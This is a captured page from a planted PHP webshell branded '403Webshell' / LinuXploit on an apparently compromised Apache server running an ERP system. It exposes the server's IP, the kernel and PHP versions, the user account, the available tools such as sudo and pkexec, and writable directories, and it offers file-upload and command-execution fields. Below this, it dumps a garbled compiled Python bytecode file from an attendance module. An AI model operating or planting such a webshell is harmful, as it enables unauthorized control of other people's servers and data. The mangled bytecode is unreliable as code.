403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/attendance/views/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/attendance/views/__pycache__/handle_attendance_errors.cpython-310.pyc
o

hͦh�	�@sDdZddlZddlZddlmZddlmZddlm	Z	dd�Z
dS)z*Module for handling attendance error data.�N)�HttpResponse)�DYNAMIC_URL_PATTERNS��remove_dynamic_urlc

sng}idg�dg�dg�dg�dg�dg�dg�dg�d	g�d
g�dg�dg�d
g�dg�dg�dg�dg�ggggggggd��}|D]}|��D]\}}||vrZ|�||�qJ|�d�qJqDdd�|��D�}|D]}||=qltj||��d�}tdd��d�d<|j�dd���fdd�}dd lm}m	}	d!t
�����|	�|�|�d"��t���d#�����S)$a�
    Reorganize a list of error dictionaries into a structured error data dictionary
    and remove keys with all None values.

    Parameters:
        error_list (list of dict): A list of dictionaries containing error details.

    Returns:
        dict: A structured dictionary where keys represent error types and values are lists
              of error details for each type.
    zBadge ID�Shiftz	Work typezAttendance datez
Check-in datezCheck-inzCheck-out datez	Check-outzWorked hourzMinimum hourzBadge ID ErrorzShift ErrorzWork Type ErrorzCheck-in Validation ErrorzCheck-out Validation ErrorzAttendance Errorz Attendance Date Validation Error)zCheck-in ErrorzCheck-out ErrorzWorked Hours ErrorzMinimum Hour ErrorzAttendance Date Error�Check-out Date ErrorrzOther ErrorsNcSs&g|]\}}tdd�|D��r|�qS)css�|]}|duVqdS�N�)�.0�vr	r	�9/var/www/erp/attendance/views/handle_attendance_errors.py�	<genexpr><s�z6handle_attendance_errors.<locals>.<listcomp>.<genexpr>)�all)r
�key�valuer	r	r�
<listcomp>;s
��z,handle_attendance_errors.<locals>.<listcomp>)�columnszapplication/ms-excel)�content_typez'attachment; filename="ImportError.xlsx"zContent-DispositionF)�indexcst���Srr)�request��	path_info�responser	r�get_error_sheetFsz1handle_attendance_errors.<locals>.get_error_sheetr)�path�urlpatternszerror-sheet-)�namezattendance/)
�items�append�pd�	DataFrame�keysr�to_excel�attendance.urlsrr�uuid�uuid4r)
�
error_list�keys_to_remove�
error_data�itemrr�
data_framerrrr	rr�handle_attendance_errorss���������	�
���
��������


r+)�__doc__r$�pandasr�django.httpr�horilla.horilla_settingsr�horilla.methodsrr+r	r	r	r�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit